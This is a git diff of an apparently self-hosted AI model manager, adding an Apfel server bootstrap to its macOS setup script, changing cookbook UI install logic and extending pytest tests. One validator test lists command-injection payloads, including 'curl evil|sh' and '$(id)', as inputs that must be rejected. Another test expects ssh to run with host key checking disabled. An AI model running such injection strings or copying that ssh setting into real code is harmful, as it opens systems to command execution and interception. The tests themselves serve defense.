$("$PY" --version 2>&1) at $PY)" + echo " (using $("$PY" --version 2>&1) at $PY)" else - echo " installing python@3.11…" - brew install python@3.11 || true - PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)" + echo " installing python@3.11…" + brew install python@3.11 || true + PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)" fi brew_ensure tmux tmux brew_ensure llama-server llama.cpp +brew_ensure apfel apfel if [ -z "$PY" ] || [ ! -x "$PY" ]; then - echo "✗ Couldn't find a Python 3.11+ to build the environment with." - echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)" - exit 1 + echo "✗ Couldn't find a Python 3.11+ to build the environment with." + echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)" + exit 1 fi # 3. Python environment + dependencies (kept inside the repo, in venv/). # Named `venv` to match the manual steps and build-macos-app.sh, so the # clickable .app reuses this same environment. if [ ! -d venv ]; then - echo "▶ Creating Python environment…" - "$PY" -m venv venv + echo "▶ Creating Python environment…" + "$PY" -m venv venv fi VENV_PY="./venv/bin/python3" REQ_HASH="$(md5 -q requirements.txt 2>/dev/null || md5sum requirements.txt | cut -d' ' -f1)" @@ -150,9 +151,9 @@ fi # it got installed (e.g., from an older requirements-optional.txt), remove # it to prevent ChromaDB from silently failing in HTTP-only mode. if "$VENV_PY" -m pip show chromadb-client >/dev/null 2>&1; then - echo "▶ Cleaning up conflicting chromadb-client package…" - "$VENV_PY" -m pip uninstall -y chromadb-client - "$VENV_PY" -m pip install --force-reinstall chromadb + echo "▶ Cleaning up conflicting chromadb-client package…" + "$VENV_PY" -m pip uninstall -y chromadb-client + "$VENV_PY" -m pip install --force-reinstall chromadb fi # 4. First-run setup: creates data dirs and prints an initial admin password @@ -161,19 +162,39 @@ fi echo "▶ Preparing Odysseus…" ODYSSEUS_SKIP_RUN_HINT=1 ./venv/bin/python setup.py +# Local provider bootstrap. +# On Apple Silicon macOS, Apfel is treated as a sibling local model server +# to Ollama: if Homebrew has it installed, we start its OpenAI-compatible +# server on the port next to Ollama, since the default port is 11434 and that's busy (because of ollama). +MACHINE_ARCH="$(uname -m)" +APFEL_PID="" +if [ "$MACHINE_ARCH" = "arm64" ]; then + if command -v apfel >/dev/null 2>&1; then + APFEL_LOG="${TMPDIR:-/tmp}/odysseus-apfel.log" + echo "▶ Starting Apfel server in the background on port 11435…" + echo " logging to $APFEL_LOG" + nohup apfel --serve --port 11435 >"$APFEL_LOG" 2>&1 & + APFEL_PID=$! + else + echo "▶ Apfel is not installed (brew formula missing); skipping Apfel server bootstrap." + fi +else + echo "▶ Non-ARM macOS detected; skipping Apfel server bootstrap." +fi + # 5. Launch. Bind to loopback by default; opt into LAN/Tailscale with # ODYSSEUS_HOST=0.0.0.0. URL_HOST="$HOST" if [ "$URL_HOST" = "0.0.0.0" ] || [ "$URL_HOST" = "::" ]; then - URL_HOST="127.0.0.1" + URL_HOST="127.0.0.1" fi URL="http://$URL_HOST:$PORT" TAILSCALE_URL="" if [ "$HOST" = "0.0.0.0" ] && command -v tailscale >/dev/null 2>&1; then - TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)" - if [ -n "$TS_IP" ]; then - TAILSCALE_URL="http://$TS_IP:$PORT" - fi + TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)" + if [ -n "$TS_IP" ]; then + TAILSCALE_URL="http://$TS_IP:$PORT" + fi fi # Open the browser automatically once the server is accepting connections — so @@ -182,33 +203,33 @@ fi # ODYSSEUS_NO_OPEN=1 (e.g. over SSH / headless). POLLER_PID="" if [ -z "$ODYSSEUS_NO_OPEN" ] && command -v open >/dev/null 2>&1; then - ( - for _ in $(seq 1 90); do - if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then - printf '\n' - printf ' ┌────────────────────────────────────────────┐\n' - printf ' │ ✓ Odysseus is ready — opening your browser │\n' - printf ' │ %-40s │\n' "$URL" - printf ' │ (Press Ctrl+C in this window to stop) │\n' - printf ' └────────────────────────────────────────────┘\n\n' - open "$URL" - break - fi - sleep 1 - done - ) & - POLLER_PID=$! + ( + for _ in $(seq 1 90); do + if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then + printf '\n' + printf ' ┌────────────────────────────────────────────┐\n' + printf ' │ ✓ Odysseus is ready — opening your browser │\n' + printf ' │ %-40s │\n' "$URL" + printf ' │ (Press Ctrl+C in this window to stop) │\n' + printf ' └────────────────────────────────────────────┘\n\n' + open "$URL" + break + fi + sleep 1 + done + ) & + POLLER_PID=$! fi # Setup is done — drop the setup-failure handler, and clean up the background # opener when the server exits or the user presses Ctrl+C. trap - ERR -trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null' EXIT INT TERM +trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null; [ -n "$APFEL_PID" ] && kill "$APFEL_PID" 2>/dev/null' EXIT INT TERM echo echo "▶ Starting Odysseus — it will open in your browser at $URL" if [ -n "$TAILSCALE_URL" ]; then - echo " Tailscale/LAN URL: $TAILSCALE_URL" + echo " Tailscale/LAN URL: $TAILSCALE_URL" fi echo " (this takes a few seconds; press Ctrl+C here to stop)" echo diff --git a/static/js/cookbook.js b/static/js/cookbook.js index e12f56941..9ababdbce 100644 --- a/static/js/cookbook.js +++ b/static/js/cookbook.js @@ -89,8 +89,8 @@ function _setCookbookOpening(on) { ].filter(Boolean); if (!on) { _cookbookOpeningSpinners.forEach(({ spinner, wrap, target }) => { - try { spinner?.stop?.(); } catch {} - try { wrap?.remove?.(); } catch {} + try { spinner?.stop?.(); } catch { } + try { wrap?.remove?.(); } catch { } target?.classList?.remove('cookbook-opening'); }); _cookbookOpeningSpinners = []; @@ -595,7 +595,7 @@ function _fallbackCopy(text) { ta.style.cssText = 'position:fixed;left:-9999px;top:-9999px'; document.body.appendChild(ta); ta.select(); - try { document.execCommand('copy'); } catch (_) {} + try { document.execCommand('copy'); } catch (_) { } document.body.removeChild(ta); return Promise.resolve(); } @@ -628,7 +628,7 @@ function _readStoredEnvState() { export function _persistEnvState() { try { localStorage.setItem(LAST_STATE_KEY, JSON.stringify(_envStateForStorage())); } - catch (_) {} + catch (_) { } _saveTasks(_loadTasks()); } @@ -681,18 +681,20 @@ async function _fetchDependencies() { const _statusTag = (pkg, isLocal, isSystemDep, winBlocked) => { if (winBlocked) return `N/A`; - if (pkg.installed && isSystemDep) return `Installed`; - if (pkg.installed && pkg.pip_update_available === false) { + const hasCustomInstall = !!pkg.install_cmd; + const hasCustomUpdate = !!pkg.update_cmd; + if (pkg.installed && isSystemDep && !hasCustomUpdate) return `Installed`; + if (pkg.installed && pkg.pip_update_available === false && !hasCustomUpdate) { const tip = esc(pkg.update_note || pkg.status_note || 'Found externally; update outside Odysseus.'); return `Installed`; } if (pkg.installed) return ``; - if (isSystemDep) { + if (isSystemDep && !hasCustomInstall) { const depTip = esc(pkg.install_hint || 'Install this OS package on the selected server.'); const depLabel = pkg.applicable === false ? 'N/A ?' : 'Missing'; return `${depLabel}`; } - return ``; + return ``; }; const _depRow = (pkg) => { @@ -715,7 +717,7 @@ async function _fetchDependencies() { } else if (pkg.name === 'sglang' && pkg.installed) { _rebuildBtn = ``; } - return `
Configure SSH servers, install Odysseus keys, choose model directories, and set the default server. Local is this machine.
'; @@ -1979,73 +2020,73 @@ export async function open(opts) { } _setCookbookOpening(true); try { - // Invalidate any pending close() animation handlers so they won't re-hide us - _closeGen++; - // Clear any leftover inline styles from a previous swipe-dismiss or close animation - const _content = modal.querySelector('.modal-content'); - if (_content) { - _content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering'); - _content.style.transform = ''; - _content.style.transition = ''; - _content.style.animation = ''; - _content.style.opacity = ''; - } - modal.style.display = ''; - Modals.register('cookbook-modal', { - railBtnId: 'rail-cookbook', - sidebarBtnId: 'tool-cookbook-btn', - closeFn: () => _doClose(), - restoreFn: () => { _renderRunningTab(); }, - }); - _wireCookbookDrag(modal); - await _syncFromServer(); - // `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState - // (a different object reference than this module's), then mirrors the merged - // state to localStorage. So ALWAYS hydrate our _envState from that mirror — - // on a successful sync it holds the freshly-fetched servers; on failure it - // holds the last-known state. Gating this on `!synced` left the render's - // _envState empty whenever sync succeeded → "servers don't show". - try { Object.assign(_envState, _readStoredEnvState()); } catch {} - // Honour a user-set default server: always land on it when Cookbook opens, so - // every dropdown (scan/download/serve/cache/deps) starts on the same machine. - if (_envState.defaultServer) { - const _dk = _envState.defaultServer; - if (_dk === 'local') { - _envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = ''; - } else { - const _ds = (_envState.servers || []).find(s => s.host === _dk); - if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; } + // Invalidate any pending close() animation handlers so they won't re-hide us + _closeGen++; + // Clear any leftover inline styles from a previous swipe-dismiss or close animation + const _content = modal.querySelector('.modal-content'); + if (_content) { + _content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering'); + _content.style.transform = ''; + _content.style.transition = ''; + _content.style.animation = ''; + _content.style.opacity = ''; } - } - // Re-render on every open AFTER sync so the freshly-fetched state (servers, - // HF token, presets) is always reflected. Gating this to once-per-page used - // to freeze a stale/empty servers list whenever the first sync raced or - // returned before hydration — and since close/reopen doesn't reset the page, - // only a full reload recovered it. Re-rendering is cheap and the in-progress - // Running tab is rendered separately just below. - _renderRecipes(); - _rendered = true; - _clearCookbookNotif(); - _renderRunningTab(); - // Self-heal: revive any download tasks whose tmux session is still alive - // but were persisted as done/error (covers the "restarted server while a - // big multi-shard download was in flight" case — the task survived in - // tmux, the cookbook just lost track of it). - try { _selfHealStaleTasks({ oneShot: true }); } catch {} - if (_content) { - // Put the panel in its entering state before it becomes visible. On - // mobile, showing first and adding the class a frame later can paint the - // sheet at its final position, which makes the slide-up look like a snap. - _content.classList.add('cookbook-modal-entering'); - } - modal.classList.remove('hidden'); - if (_content) { - void _content.offsetWidth; - _content.addEventListener('animationend', () => { - _content.classList.remove('cookbook-modal-entering'); - }, { once: true }); - } - setTimeout(_applyIntent, 0); + modal.style.display = ''; + Modals.register('cookbook-modal', { + railBtnId: 'rail-cookbook', + sidebarBtnId: 'tool-cookbook-btn', + closeFn: () => _doClose(), + restoreFn: () => { _renderRunningTab(); }, + }); + _wireCookbookDrag(modal); + await _syncFromServer(); + // `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState + // (a different object reference than this module's), then mirrors the merged + // state to localStorage. So ALWAYS hydrate our _envState from that mirror — + // on a successful sync it holds the freshly-fetched servers; on failure it + // holds the last-known state. Gating this on `!synced` left the render's + // _envState empty whenever sync succeeded → "servers don't show". + try { Object.assign(_envState, _readStoredEnvState()); } catch { } + // Honour a user-set default server: always land on it when Cookbook opens, so + // every dropdown (scan/download/serve/cache/deps) starts on the same machine. + if (_envState.defaultServer) { + const _dk = _envState.defaultServer; + if (_dk === 'local') { + _envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = ''; + } else { + const _ds = (_envState.servers || []).find(s => s.host === _dk); + if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; } + } + } + // Re-render on every open AFTER sync so the freshly-fetched state (servers, + // HF token, presets) is always reflected. Gating this to once-per-page used + // to freeze a stale/empty servers list whenever the first sync raced or + // returned before hydration — and since close/reopen doesn't reset the page, + // only a full reload recovered it. Re-rendering is cheap and the in-progress + // Running tab is rendered separately just below. + _renderRecipes(); + _rendered = true; + _clearCookbookNotif(); + _renderRunningTab(); + // Self-heal: revive any download tasks whose tmux session is still alive + // but were persisted as done/error (covers the "restarted server while a + // big multi-shard download was in flight" case — the task survived in + // tmux, the cookbook just lost track of it). + try { _selfHealStaleTasks({ oneShot: true }); } catch { } + if (_content) { + // Put the panel in its entering state before it becomes visible. On + // mobile, showing first and adding the class a frame later can paint the + // sheet at its final position, which makes the slide-up look like a snap. + _content.classList.add('cookbook-modal-entering'); + } + modal.classList.remove('hidden'); + if (_content) { + void _content.offsetWidth; + _content.addEventListener('animationend', () => { + _content.classList.remove('cookbook-modal-entering'); + }, { once: true }); + } + setTimeout(_applyIntent, 0); } finally { _setCookbookOpening(false); } diff --git a/tests/test_shell_routes.py b/tests/test_shell_routes.py index afeb8c9a3..355282933 100644 --- a/tests/test_shell_routes.py +++ b/tests/test_shell_routes.py @@ -1,6 +1,7 @@ """Tests for shell_routes.py helpers.""" import builtins +import importlib import importlib.util import json import os @@ -39,7 +40,9 @@ def test_shell_routes_import_without_posix_pty_modules(monkeypatch): cached_modules = {name: sys.modules.pop(name, None) for name in ("fcntl", "pty")} module_path = Path(__file__).resolve().parents[1] / "routes" / "shell_routes.py" - spec = importlib.util.spec_from_file_location("_shell_routes_without_pty", module_path) + spec = importlib.util.spec_from_file_location( + "_shell_routes_without_pty", module_path + ) module = importlib.util.module_from_spec(spec) sys.modules[spec.name] = module try: @@ -59,7 +62,9 @@ async def test_generate_pty_reports_explicit_unsupported_error(monkeypatch): import routes.shell_routes as shell_routes monkeypatch.setattr(shell_routes, "PTY_SUPPORTED", False) - monkeypatch.setattr(shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'")) + monkeypatch.setattr( + shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'") + ) request = SimpleNamespace(is_disconnected=lambda: False) events = [ @@ -123,29 +128,76 @@ class TestRunningInContainer: def test_dockerenv_marker_present(self, tmp_path): marker = tmp_path / ".dockerenv" marker.write_text("") - assert _running_in_container( - dockerenv_path=str(marker), cgroup_path=str(tmp_path / "missing"), - ) is True + assert ( + _running_in_container( + dockerenv_path=str(marker), + cgroup_path=str(tmp_path / "missing"), + ) + is True + ) def test_cgroup_names_a_container_runtime(self, tmp_path): cgroup = tmp_path / "cgroup" cgroup.write_text("12:devices:/docker/abcdef0123456789\n") - assert _running_in_container( - dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup), - ) is True + assert ( + _running_in_container( + dockerenv_path=str(tmp_path / "no-marker"), + cgroup_path=str(cgroup), + ) + is True + ) def test_bare_host_has_neither_signal(self, tmp_path): cgroup = tmp_path / "cgroup" cgroup.write_text("0::/user.slice/session-1.scope\n") - assert _running_in_container( - dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup), - ) is False + assert ( + _running_in_container( + dockerenv_path=str(tmp_path / "no-marker"), + cgroup_path=str(cgroup), + ) + is False + ) def test_missing_cgroup_file_is_not_a_container(self, tmp_path): - assert _running_in_container( - dockerenv_path=str(tmp_path / "no-marker"), - cgroup_path=str(tmp_path / "also-missing"), - ) is False + assert ( + _running_in_container( + dockerenv_path=str(tmp_path / "no-marker"), + cgroup_path=str(tmp_path / "also-missing"), + ) + is False + ) + + +class TestAppleSiliconDetection: + """APFEL should only surface as available on native Apple Silicon Macs.""" + + def test_reports_true_on_macos_arm64(self, monkeypatch): + import core.platform_compat as platform_compat + + monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin") + monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64") + importlib.reload(platform_compat) + + assert platform_compat.IS_APPLE_SILICON is True + + @pytest.mark.parametrize("machine", ["x86_64", "amd64"]) + def test_reports_false_off_apple_silicon(self, monkeypatch, machine): + import core.platform_compat as platform_compat + + monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin") + monkeypatch.setattr(platform_compat.platform, "machine", lambda: machine) + importlib.reload(platform_compat) + + assert platform_compat.IS_APPLE_SILICON is False + + def test_reports_false_on_non_macos(self, monkeypatch): + import core.platform_compat as platform_compat + + monkeypatch.setattr(platform_compat.platform, "system", lambda: "Linux") + monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64") + importlib.reload(platform_compat) + + assert platform_compat.IS_APPLE_SILICON is False class TestDockerRowStatus: @@ -155,35 +207,50 @@ class TestDockerRowStatus: def test_in_container_and_absent_is_not_applicable_with_safe_default_hint(self): status = _docker_row_status( - on_remote=False, in_container=True, installed=False, default_hint=self.DEFAULT, + on_remote=False, + in_container=True, + installed=False, + default_hint=self.DEFAULT, ) assert status.applicable is False assert status.install_hint == DOCKER_IN_CONTAINER_HINT def test_in_container_but_present_is_applicable_with_default_hint(self): status = _docker_row_status( - on_remote=False, in_container=True, installed=True, default_hint=self.DEFAULT, + on_remote=False, + in_container=True, + installed=True, + default_hint=self.DEFAULT, ) assert status.applicable is True assert status.install_hint == self.DEFAULT def test_on_host_and_absent_stays_applicable_with_default_hint(self): status = _docker_row_status( - on_remote=False, in_container=False, installed=False, default_hint=self.DEFAULT, + on_remote=False, + in_container=False, + installed=False, + default_hint=self.DEFAULT, ) assert status.applicable is True assert status.install_hint == self.DEFAULT def test_remote_server_is_always_applicable_even_when_absent(self): status = _docker_row_status( - on_remote=True, in_container=False, installed=False, default_hint=self.DEFAULT, + on_remote=True, + in_container=False, + installed=False, + default_hint=self.DEFAULT, ) assert status.applicable is True assert status.install_hint == self.DEFAULT def test_remote_server_ignores_local_container_status(self): status = _docker_row_status( - on_remote=True, in_container=True, installed=False, default_hint=self.DEFAULT, + on_remote=True, + in_container=True, + installed=False, + default_hint=self.DEFAULT, ) assert status.applicable is True assert status.install_hint == self.DEFAULT @@ -226,7 +293,10 @@ class TestPackageProbeStatus: assert _package_installed_from_probe("vllm", probe) is True assert "python package: vllm 0.8.5" in _package_status_note("vllm", probe) - assert _package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available is True + assert ( + _package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available + is True + ) def test_vllm_cli_without_dist_is_external_for_update(self): probe = { @@ -250,18 +320,35 @@ class TestPackageProbeStatus: assert _package_installed_from_probe("llama_cpp", probe) is True assert "native llama-server" in _package_status_note("llama_cpp", probe) - status = _package_pip_update_status({"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe) + status = _package_pip_update_status( + {"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe + ) assert status.available is False assert "package manager or source checkout" in status.note + def test_apfel_does_not_use_generic_outside_odysseus_note(self): + status = _package_pip_update_status( + {"name": "APFEL", "pip": "", "update_cmd": "brew upgrade apfel"}, + {"binaries": {}, "dists": {}, "modules": {}}, + ) + + assert status.available is False + assert "Update this system dependency outside Odysseus." not in status.note + def test_diffusers_requires_torch_too(self): missing_torch = { - "modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": False}}, + "modules": { + "diffusers": {"found": True, "real_module": True}, + "torch": {"found": False}, + }, "dists": {"diffusers": "0.37.0"}, "binaries": {}, } ready = { - "modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": True, "real_module": True}}, + "modules": { + "diffusers": {"found": True, "real_module": True}, + "torch": {"found": True, "real_module": True}, + }, "dists": {"diffusers": "0.37.0", "torch": "2.10.0"}, "binaries": {}, } @@ -293,7 +380,11 @@ class TestPackageProbeStatus: class TestSshBaseArgv: def test_basic_host_no_port(self): assert _ssh_base_argv("user@example.com", None) == [ - "ssh", "-o", "ConnectTimeout=6", "-o", "StrictHostKeyChecking=no", + "ssh", + "-o", + "ConnectTimeout=6", + "-o", + "StrictHostKeyChecking=no", "user@example.com", ] @@ -329,16 +420,21 @@ class TestVenvActivatePrefix: assert _venv_activate_prefix("~/venv") == ". ~/venv/bin/activate && " def test_already_pointing_at_activate(self): - assert _venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && " + assert ( + _venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && " + ) - @pytest.mark.parametrize("bad", [ - "/opt/v && curl evil|sh", - "$(id)", - "`id`", - "v;id", - "v\nid", - "v|id", - ]) + @pytest.mark.parametrize( + "bad", + [ + "/opt/v && curl evil|sh", + "$(id)", + "`id`", + "v;id", + "v\nid", + "v|id", + ], + ) def test_injection_payloads_rejected(self, bad): with pytest.raises(ValueError): _venv_activate_prefix(bad) @@ -351,6 +447,7 @@ class TestRejectCrossSite: def test_cross_site_rejected(self): from fastapi import HTTPException + with pytest.raises(HTTPException) as exc: _reject_cross_site(self._req({"sec-fetch-site": "cross-site"})) assert exc.value.status_code == 403